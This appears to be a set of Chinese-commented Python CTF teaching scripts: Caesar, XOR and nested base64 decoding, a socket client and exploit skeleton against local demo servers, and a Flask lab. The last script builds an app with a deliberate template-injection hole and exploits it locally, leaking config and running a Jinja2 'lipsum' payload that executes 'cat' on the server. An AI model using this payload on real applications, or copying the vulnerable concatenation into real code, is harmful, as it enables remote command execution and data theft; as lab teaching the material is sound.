1
import string
2

3
CIPHER = "synt{pnrfne_cnff_pbqrf}"   # 示例密文（明文经 ROT13 加密而来）
4

5

6
def caesar_decrypt(text: str, shift: int) -> str:
7
    """把字母表整体右移 shift 位来解密，非字母字符原样保留"""
8
    result = []
9
    for ch in text:
10
        if ch in string.ascii_lowercase:                 # 小写字母
11
            # 核心技巧：(x - a + n) % 26 + a 实现"循环位移"
12
            new = (ord(ch) - ord('a') - shift) % 26 + ord('a')
13
            result.append(chr(new))
14
        elif ch in string.ascii_uppercase:               # 大写字母
15
            new = (ord(ch) - ord('A') - shift) % 26 + ord('A')
16
            result.append(chr(new))
17
        else:                                            # 数字/符号不动
18
            result.append(ch)
19
    return "".join(result)                              #用空字符串 "" 作为分隔符，把列表 result 里的每个元素连起来，用join不用新建字符串对象
20

21

22
def main():
23
    print(f"密文: {CIPHER}\n")
24
    for shift in range(26):                              # 26 种位移全部枚举
25
        candidate = caesar_decrypt(CIPHER, shift)
26
        marker = "  <-- 像是 flag！" if "flag{" in candidate else ""
27
        print(f"位移 {shift:2d}: {candidate}{marker}")    # {shift:2d}为了对齐
28

29

30
if __name__ == "__main__":
31
    main()

1
CIPHER_HEX = "242e2325393a72301d73311d31732f322e711d2037361d37317124372e3f"
2
# ↑ 示例数据：某段被单字节异或加密后的 hex（答案 key=0x42）
3

4

5
def xor_single(data: bytes, key: int) -> bytes:
6
    """单字节异或：每个字节都 ^ 同一个 key"""
7
    return bytes([b ^ key for b in data])
8

9

10
# "正常文本"字符集：字母/数字/少量常见符号。
11
# 注意不能太宽——如果把各种标点都算进来，错误的 key 也会得高分，噪声爆炸。
12
GOOD_CHARS = set(b"abcdefghijklmnopqrstuvwxyz"
13
                 b"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
14
                 b"0123456789 _{}-\n\t")
15

16

17
def score(data: bytes) -> float:
18
    """得分：'正常字符'占比。真实英文/flag 文本通常接近 1.0，乱码远低于此"""
19
    return sum(1 for b in data if b in GOOD_CHARS) / len(data)
20

21

22
def main():
23
    cipher = bytes.fromhex(CIPHER_HEX)# XOR是字节操作必须先拿到原始字节
24
    print(f"密文({len(cipher)} 字节): {CIPHER_HEX}\n")
25

26
    candidates = []
27
    for key in range(256):                    # 256 个候选 key 全枚举
28
        plain = xor_single(cipher, key)
29
        s = score(plain)
30
        if s > 0.9:                           # 只有像"正常文本"的才入围
31
            candidates.append((s, key, plain))
32

33
    # 按得分降序，得分最高的极可能就是答案
34
    candidates.sort(reverse=True)
35
    for s, key, plain in candidates[:5]:
36
        try:
37
            text = plain.decode()
38
        except UnicodeDecodeError:# bytes → str（解码）时字节非法
39
            continue
40
        tag = "  <-- 找到 flag！" if "flag{" in text else ""
41
        print(f"key=0x{key:02x}  得分={s:.0%}  {text!r}{tag}")
42

43
    if not any("flag{" in p.decode(errors="replace") for _, _, p in candidates):
44
        print("(本例没筛出 flag 字样)")
45

46

47
if __name__ == "__main__":
48
    main()

1
import base64
2
import re
3

4
B64_RE = re.compile(rb"^[A-Za-z0-9+/\n\r]+={0,2}$")   # 合法 base64 字符集
5

6

7
def looks_like_base64(data: bytes) -> bool:
8
    """粗略判断一段 bytes 像不像 base64"""
9
    stripped = data.strip() #strip()去掉字符串首尾的指定字符，默认去掉空白字符
10
    if len(stripped) < 8 or len(stripped) % 4 != 0:
11
        return False
12
    return bool(B64_RE.match(stripped))
13

14

15
def auto_decode(data: bytes) -> bytes:
16
    """循环解码：能解就一直解，解不动了返回当前结果"""
17
    round_no = 0
18
    while True:
19
        if not looks_like_base64(data):
20
            break
21
        try:
22
            decoded = base64.b64decode(data, validate=False)
23
            #当 validate=False（默认值）：解码前会丢弃输入中所有不属于 Base64 字母表的字符（如空格、换行、特殊符号等），然后再检查填充是否正确。这使得它可以处理带有额外空白或格式标记的 Base64 字符串。
24
            #当 validate=True：如果输入包含任何非 Base64 字符，会直接引发 binascii.Error 异常，而不会静默丢弃。这提供了更严格的校验，适用于需要确保输入格式完全正确的场景。
25

26
        except Exception:
27
            break                          # 解码失败，到头了
28
        if decoded == data:                # 防止死循环
29
            break
30
        data = decoded
31
        round_no += 1
32
        print(f"  第 {round_no} 轮解码后: {data[:60]!r}{'...' if len(data) > 60 else ''}")
33
    print(f"共解码 {round_no} 轮")
34
    return data
35

36

37
def main():
38
    # 示例数据："flag{n3st3d_b4s3_1s_fun}" 连续 base64 编码 5 次的产物
39
    nested = (b"VmpJd2VFNUhSa2RpTTNCclUwWmFUMVJVUVRCa01WSlZVMnhP"
40
              b"WVdKSGVIaFdWelYzVkdzeFZXRkVVbHBsYTFVeFdXeGtVMWRG"
41
              b"TlZWaGVqQTk=")
42

43
    print(f"输入({len(nested)} 字节): {nested!r}\n")
44
    result = auto_decode(nested)
45

46
    print(f"\n最终结果: {result.decode(errors='replace')}")
47
    m = re.search(rb"flag\{[^}]*\}", result)    # 顺手把 flag 抠出来
48
    if m:
49
        print(f"\n[+] 捕获 flag: {m.group().decode()}")
50

51

52
if __name__ == "__main__":
53
    main()

1
import re
2
import socket
3
import threading
4
import random
5
import time
6

7

8
# ---------- 模拟题目服务器（实战时删掉这段） ----------
9
class DemoServer(threading.Thread):
10
    """假装是题目环境：发一道加法题，答对给 flag"""
11

12
    def run(self):
13
        srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
14
        srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
15
        srv.bind(("127.0.0.1", 9999))
16
        srv.listen(1)
17
        conn, _ = srv.accept()
18
        a, b = random.randint(10, 99), random.randint(10, 99)
19
        # 注意：bytes 字面量里只能放 ASCII 字符，中文必须用 .encode() 转换！
20
        conn.sendall(f"[*] 挑战: {a} + {b} = ?\n".encode())
21
        answer = conn.recv(1024).decode().strip()
22
        if answer == str(a + b):
23
            conn.sendall(b"[+] Correct! flag{socket_1s_e4sy}\n")
24
        else:
25
            conn.sendall(b"[-] Wrong answer, bye\n")
26
        conn.close()
27
        srv.close()
28

29

30
# ---------- 客户端：真正要学的部分 ----------
31
HOST, PORT = "127.0.0.1", 9999
32

33

34
def main():
35
    DemoServer(daemon=True).start()          # 实战时删掉
36
    time.sleep(0.2)                          # 等服务器 bind 完成（demo 需要）
37

38
    # 1. 建立连接（超时一定要设，防止脚本卡死）
39
    sock = socket.create_connection((HOST, PORT), timeout=10)
40
    print(f"[*] 已连接 {HOST}:{PORT}")
41

42
    # 2. 收提示（recv 返回 bytes，记得 decode）
43
    challenge = sock.recv(1024).decode() # 从 socket 连接里接收最多 1024 字节的数据，并解码成字符串
44
    print(f"[*] 服务端说: {challenge.strip()}")
45

46
    # 3. 用正则从提示里抠出所有数字（比手写 split 健壮得多）
47
    a, b = map(int, re.findall(r"\d+", challenge))
48
    # 从字符串 challenge 中找出所有连续数字子串；把每个数字子串转成整数；
49
    answer = a + b
50
    print(f"[*] 我算出: {answer}")
51

52
    # 4. 发送答案（sendall 要发 bytes）
53
    sock.sendall(f"{answer}\n".encode())
54

55
    # 5. 收结果
56
    result = sock.recv(1024).decode()
57
    print(f"[*] 最终回复: {result.strip()}")
58
    sock.close()
59

60

61
if __name__ == "__main__":
62
    main()

1
import re
2
import socket
3
import threading
4
import time
5

6
# ============================================================
7
# ① 导入区：所有 import 集中在文件最顶部
8
#    好处：一眼看清依赖；缺什么库立刻暴露
9
# ============================================================
10

11

12
# ============================================================
13
# ② 配置区：题目相关的参数全部集中在这里
14
#    好处：换题 / 换环境只改这一块，逻辑代码一行不动
15
# ============================================================
16
HOST = "127.0.0.1"          # 实战换成题目 IP
17
PORT = 9997                  # 实战换成题目端口
18
XOR_KEY = 0x2A               # 解题时"分析出来"的参数（逆向/试出来的）
19
TIMEOUT = 10                 # 网络超时：必设，防脚本卡死
20

21

22
# ============================================================
23
# ③ 工具函数区：会被复用的小函数
24
#    判断标准：同一段代码要写第二遍 -> 抽成函数放这
25
# ============================================================
26
def xor_single(data: bytes, key: int) -> bytes:
27
    """单字节异或（异或题万金油，见 02_xor_crack.py）"""
28
    return bytes([b ^ key for b in data])
29

30

31
def recv_line(sock: socket.socket) -> str:
32
    """收一行并去掉换行（收发细节封装掉，主流程更干净）"""
33
    buf = b""
34
    while not buf.endswith(b"\n"):
35
        chunk = sock.recv(1024)
36
        if not chunk:
37
            break
38
        buf += chunk
39
    return buf.decode(errors="replace").strip()
40

41

42
# ============================================================
43
# ④ 解题逻辑区：核心流程，按"阶段"推进
44
#    黄金节奏：每个阶段都 print 中间结果，确认对了再写下一步
45
# ============================================================
46
def solve() -> str:
47
    # -- 阶段 1：建立连接 --
48
    sock = socket.create_connection((HOST, PORT), timeout=TIMEOUT)
49
    print(f"[*] 已连接 {HOST}:{PORT}")
50

51
    # -- 阶段 2：收题目数据（先打印看清楚再动手）--
52
    line = recv_line(sock) #按行接受数据
53
    print(f"[*] 服务端: {line}")
54
    m = re.search(r"cipher:\s*([0-9a-f]+)", line)
55
    assert m, f"没解析到密文，收到的是: {line!r}"      # 自检：早失败早发现
56
    cipher_hex = m.group(1)
57

58
    # -- 阶段 3：本地解密（独立小步骤，单独验证）--
59
    cipher = bytes.fromhex(cipher_hex)
60
    plain = xor_single(cipher, XOR_KEY)
61
    print(f"[*] 解密结果: {plain!r}")                  # 看一眼像不像答案
62
    assert b"flag" in plain or plain.isascii(), f"解得不对劲: {plain!r}"
63

64
    # -- 阶段 4：回传答案，收 flag --
65
    sock.sendall(plain + b"\n")
66
    result = recv_line(sock)
67
    sock.close()
68
    print(f"[*] 最终回复: {result}")
69
    return result
70

71

72
# ============================================================
73
# ⑤ 主入口：只负责"调度"，不写具体逻辑
74
#    if __name__ 守卫：被 import 时不自动执行
75
# ============================================================
76
def main():
77
    DemoServer().start()                 # 实战时删掉这两行
78
    time.sleep(0.2)
79
    result = solve()
80
    m = re.search(r"flag\{[^}]*\}", result)
81
    if m:
82
        print(f"\n[+] 拿到 flag: {m.group()}")
83
    else:
84
        print(f"\n[-] 没拿到 flag，回复原文: {result}")
85

86

87
# ============================================================
88
# 模拟题目服务器（实战时删掉这一整段）
89
# ============================================================
90
class DemoServer(threading.Thread):
91
    SECRET = b"flag{exp_skel3t0n_w0rks}"
92

93
    def run(self):
94
        srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
95
        srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
96
        srv.bind(("127.0.0.1", PORT))
97
        srv.listen(1)
98
        conn, _ = srv.accept()
99
        cipher = bytes([b ^ 0x2A for b in self.SECRET])
100
        conn.sendall(f"cipher: {cipher.hex()}\n".encode())
101
        answer = conn.recv(1024).strip()
102
        if answer == self.SECRET:
103
            conn.sendall(b"[+] Correct! flag{exp_skel3t0n_w0rks}\n")
104
        else:
105
            conn.sendall(b"[-] Wrong!\n")
106
        conn.close()
107
        srv.close()
108

109

110
if __name__ == "__main__":
111
    main()

1
import logging
2
import re
3
import threading
4
import time
5

6
import requests
7
from flask import Flask, request, render_template_string
8
from werkzeug.serving import make_server
9

10
logging.getLogger("werkzeug").setLevel(logging.ERROR)   # 关掉访问日志刷屏
11

12
# ============================================================
13
# ① 导入区 / ② 配置区
14
# ============================================================
15
PORT = 8890
16
BASE = f"http://127.0.0.1:{PORT}"
17
FLAG_FILE = "/tmp/ssti_flag.txt"          # 模拟服务器上的 flag 文件
18

19

20
# ============================================================
21
# ③ 靶场应用（实战时这就是题目附件里的 app.py）
22
# ============================================================
23
def build_app() -> Flask:
24
    app = Flask(__name__)
25
    app.config["FLAG"] = "flag{c0nf1g_1s_l34ky}"   # CTF 惯用：flag 藏在 config
26

27
    @app.route("/")
28
    def index():
29
        # ✅ 安全写法：输入作为"参数"传给模板，{{name}} 只会被替换成文本
30
        name = request.args.get("name", "guest")
31
        return render_template_string("Hello {{name}}!", name=name)
32

33
    @app.route("/hello")
34
    def hello():
35
        # 💣 危险写法：用户输入被"拼接"进模板字符串，成为模板代码的一部分
36
        name = request.args.get("name", "guest")
37
        return render_template_string("Hello " + name + "!")
38

39
    @app.route("/login", methods=["POST"])
40
    def login():
41
        # POST 表单 + 拼接渲染：漏洞换了个投递通道，本质一模一样
42
        user = request.form.get("username", "")
43
        return render_template_string("Welcome " + user)
44

45
    return app
46

47

48
# ============================================================
49
# ④ 攻击逻辑：SSTI 利用链（检测 -> 泄露 -> RCE）
50
# ============================================================
51
def exploit():
52
    s = requests.Session()
53

54
    # -- 第 0 步：正常访问，确认服务在 --
55
    print(f"[0] 正常访问: {s.get(f'{BASE}/hello', params={'name': 'liyuhang'}, timeout=5).text}")
56

57
    # -- 第 1 步：安全路由对照实验 --
58
    r = s.get(f"{BASE}/", params={"name": "{{7*7}}"}, timeout=5)
59
    print(f"[1] 安全写法渲染 {{{{7*7}}}} -> {r.text}")     # 原样显示，没执行
60

61
    # -- 第 2 步：危险路由探测（{{7*7}} 变 49 = Jinja2 SSTI 实锤）--
62
    r = s.get(f"{BASE}/hello", params={"name": "{{7*7}}"}, timeout=5)
63
    print(f"[2] 危险写法渲染 {{{{7*7}}}} -> {r.text}")
64
    assert "49" in r.text, "检测失败：没有计算出 49"
65

66
    # -- 第 3 步：泄露 config（CTF 里 FLAG 常直接躺在这）--
67
    r = s.get(f"{BASE}/hello", params={"name": "{{config}}"}, timeout=5)
68
    m = re.search(r"flag\{[^}]*\}", r.text)
69
    print(f"[3] {{config}} 泄露 -> {'命中 ' + m.group() if m else r.text[:120]}")
70

71
    # -- 第 4 步：命令执行（lipsum 一行流：读 flag 文件）--
72
    payload = "{{lipsum.__globals__['os'].popen('cat " + FLAG_FILE + "').read()}}"
73
    r = s.get(f"{BASE}/hello", params={"name": payload}, timeout=5)
74
    print(f"[4] lipsum RCE 读文件 -> {r.text.strip()}")
75
    assert "flag{" in r.text, "RCE 失败"
76

77
    # -- 第 5 步：POST 路由同样可能 SSTI（换个投递通道而已）--
78
    r = s.post(f"{BASE}/login", data={"username": "{{7*7}}"}, timeout=5)
79
    print(f"[5] POST 通道同样中招 -> {r.text}")
80

81

82
# ============================================================
83
# ⑤ 主入口
84
# ============================================================
85
def main():
86
    # 造一个假的 flag 文件（模拟服务器上 /flag 的存在）
87
    with open(FLAG_FILE, "w") as f:
88
        f.write("flag{sst1_rce_c0nfirmed}")
89

90
    # 用 make_server 起服务：能优雅关闭，比 app.run 更适合脚本内嵌
91
    srv = make_server("127.0.0.1", PORT, build_app())
92
    threading.Thread(target=srv.serve_forever, daemon=True).start()
93
    time.sleep(0.3)
94
    print(f"[*] 靶场已启动: {BASE}\n")
95

96
    try:
97
        exploit()
98
        print("\n[+] SSTI 利用链走通：检测 -> config 泄露 -> 命令执行")
99
    finally:
100
        srv.shutdown()
101

102

103
if __name__ == "__main__":
104
    main()